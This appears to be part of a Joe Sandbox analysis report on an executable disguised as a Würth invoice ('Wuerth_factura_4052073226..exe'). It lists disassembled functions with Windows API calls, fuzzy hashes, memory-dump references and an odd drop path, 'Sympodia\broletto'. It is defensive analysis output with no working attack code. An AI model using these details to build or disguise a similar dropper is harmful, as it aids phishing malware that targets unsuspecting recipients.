Opcode Fuzzy Hash: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction Fuzzy Hash: 70B01231140300BFDA214F00DF09F057B21AB90700F10C034B344780F086711075EB0D

Function 00404113 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403EEB), ref: 0040411D

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a54c0deb42ad23f47ecc7560c3a241b5f715d6adfa33d40084b76364b12d5f6c
Instruction ID: 30bcdc9e1ec4e9f5bd758bba81a049f6052f636b6f7eedaabba742a71ce1d9c6
Opcode Fuzzy Hash: a54c0deb42ad23f47ecc7560c3a241b5f715d6adfa33d40084b76364b12d5f6c
Instruction Fuzzy Hash: 43A0113A008200AFCF028B80EF08C0ABB22ABE0300B22C038A28080030CB3208A0EB08

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 47c475b8018bac830482d3dd4e8055bb5c4789c42d454c8237b622a5b74a65d3
Instruction ID: a96f5f0e5ce7dfcc81ff98490c2439bd436272c813bbe121de72d65be69a0154
Opcode Fuzzy Hash: 47c475b8018bac830482d3dd4e8055bb5c4789c42d454c8237b622a5b74a65d3
Instruction Fuzzy Hash: E8D01277B141009BD750EFB9BF89C6F73A8EB913293208837D902E54A2D97CC811466D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00404B08 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B20
GetDlgItem.USER32(?,00000408), ref: 00404B2B
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B75
LoadBitmapW.USER32(0000006E), ref: 00404B88
SetWindowLongW.USER32(?,000000FC,00405100), ref: 00404BA1
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BB5
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BC7
SendMessageW.USER32(?,00001109,00000002), ref: 00404BDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404BFB
DeleteObject.GDI32(00000000), ref: 00404BFE
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C29
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C35
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CCB
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CF6
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D0A
GetWindowLongW.USER32(?,000000F0), ref: 00404D39
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D47
ShowWindow.USER32(?,00000005), ref: 00404D58
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E55
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EBA
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ECF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EF3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F13
ImageList_Destroy.COMCTL32(?), ref: 00404F28
GlobalFree.KERNEL32(?), ref: 00404F38
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB1
SendMessageW.USER32(?,00001102,?,?), ref: 0040505A
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405069
InvalidateRect.USER32(?,00000000,00000001), ref: 00405089
ShowWindow.USER32(?,00000000), ref: 004050D7
GetDlgItem.USER32(?,000003FE), ref: 004050E2
ShowWindow.USER32(00000000), ref: 004050E9

Strings

M, xrefs: 00404CB2
N, xrefs: 00404D93
, xrefs: 004050C1

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 72ff75623ef579166a908c5f7c04ca3ddf3c3186be96de862a414ca8db5381fc
Instruction ID: 0cd49cefa4a501a52bc59e4f925d00b877300575b91fe519bcb2a61a8a5a243c
Opcode Fuzzy Hash: 72ff75623ef579166a908c5f7c04ca3ddf3c3186be96de862a414ca8db5381fc
Instruction Fuzzy Hash: B5026DB0900209AFEB10DF54DD85AAE7BB5FB85314F10813AF614BA2E1DB789D51CF98

Function 0040458C Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004045DB
SetWindowTextW.USER32(00000000,?), ref: 00404605
SHBrowseForFolderW.SHELL32(?), ref: 004046B6
CoTaskMemFree.OLE32(00000000), ref: 004046C1
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,?), ref: 004046F3
lstrcatW.KERNEL32(?,Call), ref: 004046FF
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404711

Part of subcall function 00405756: GetDlgItemTextW.USER32(?,?,00000400,00404748), ref: 00405769

Part of subcall function 004062C1: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 00406324
Part of subcall function 004062C1: CharNextW.USER32(?,?,?,00000000), ref: 00406333
Part of subcall function 004062C1: CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 00406338
Part of subcall function 004062C1: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 0040634B

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 004047D4
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047EF

Part of subcall function 00404948: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049E9
Part of subcall function 00404948: wsprintfW.USER32 ref: 004049F2
Part of subcall function 00404948: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404A05

Strings

A, xrefs: 004046AF
C:\Users\user\Sympodia\broletto, xrefs: 004046DC
Call, xrefs: 004046ED, 004046F2, 004046FD

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\Sympodia\broletto$Call
API String ID: 2624150263-405564414
Opcode ID: e354fc6f01a67d9e6d2c19c26d7cfb6d1b338487a667e74d8ebdf199c81fc2f1
Instruction ID: 4e2f864614c1a86ea7b1c44af5ac01a56564cfcb46a86a7d63bcc09a88bdc754
Opcode Fuzzy Hash: e354fc6f01a67d9e6d2c19c26d7cfb6d1b338487a667e74d8ebdf199c81fc2f1
Instruction Fuzzy Hash: D0A19DF1900209ABDB11AFA5CC85AAF77B8EF85314F10843BF611B72D1DB7C89418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\Sympodia\broletto, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\Sympodia\broletto
API String ID: 542301482-210443653
Opcode ID: 800e52203e28cbcc419dd47a38f4634130cea65827687f4f68f454deb293428d
Instruction ID: 8e98f1ea9ac47b8784027b2eb306f9cd2ff55d848736a2d1ce7b03e60076e0bb
Opcode Fuzzy Hash: 800e52203e28cbcc419dd47a38f4634130cea65827687f4f68f454deb293428d
Instruction Fuzzy Hash: 68411A75A00209AFCF00DFA4CD88EAD7BB6FF48314B20456AF515EB2D1DBB99A41CB54

Function 0040428E Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040432C
GetDlgItem.USER32(?,000003E8), ref: 00404340
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040435D
GetSysColor.USER32(?), ref: 0040436E
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040437C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040438A
lstrlenW.KERNEL32(?), ref: 0040438F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040439C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043B1
GetDlgItem.USER32(?,0000040A), ref: 0040440A
SendMessageW.USER32(00000000), ref: 00404411
GetDlgItem.USER32(?,000003E8), ref: 0040443C
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040447F
LoadCursorW.USER32(00000000,00007F02), ref: 0040448D
SetCursor.USER32(00000000), ref: 00404490
ShellExecuteW.SHELL32(0000070B,open,007A69C0,00000000,00000000,00000001), ref: 004044A5
LoadCursorW.USER32(00000000,00007F00), ref: 004044B1
SetCursor.USER32(00000000), ref: 004044B4
SendMessageW.USER32(00000111,00000001,00000000), ref: 004044E3
SendMessageW.USER32(00000010,00000000,00000000), ref: 004044F5

Strings

open, xrefs: 0040449D
N, xrefs: 0040442A
Call, xrefs: 0040446B

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: bf7b86e320e160068de3af8e5dcc98207056fefab5135ebfd09c3f8c41110aee
Instruction ID: 31243ed57e0a4603bfcb1190bd50a407b821413fbba6bd0e9f8b9eea7b04e413
Opcode Fuzzy Hash: bf7b86e320e160068de3af8e5dcc98207056fefab5135ebfd09c3f8c41110aee
Instruction Fuzzy Hash: 887170B1900209BFDB10DF64DD85A6A7B69FB84354F00843AFB05B66E1CB78AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 084c01015129f35d060607ba67430d3c2eb20d58b6f60067759f21b3cf07d9ee
Instruction ID: f1444d1149d995cfbeec1118d5879e63c7af2d267088fbf4af288243ceffc5ab
Opcode Fuzzy Hash: 084c01015129f35d060607ba67430d3c2eb20d58b6f60067759f21b3cf07d9ee
Instruction Fuzzy Hash: 70417C71800209AFCF058F95DE459AFBBB9FF45314F04842EF991AA1A0CB78DA54DFA4

Function 00405D5C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(007A55C0,NUL,?,00000000,?,?,00405EEF,?,?), ref: 00405D6B
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00405EEF,?,?), ref: 00405D8F
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405D98

Part of subcall function 00405B67: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B77
Part of subcall function 00405B67: lstrlenA.KERNEL32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BA9

GetShortPathNameW.KERNEL32(007A5DC0,007A5DC0,00000400), ref: 00405DB5
wsprintfA.USER32 ref: 00405DD3
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405E0E
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E1D
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E55
SetFilePointer.KERNEL32(0040A558,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A558,00000000,[Rename],00000000,00000000,00000000), ref: 00405EAB
GlobalFree.KERNEL32(00000000), ref: 00405EBC
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EC3

Part of subcall function 00405C02: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C06
Part of subcall function 00405C02: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C28

Strings

%ls=%ls, xrefs: 00405DC9
[Rename], xrefs: 00405E3D, 00405E4F
NUL, xrefs: 00405D65

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
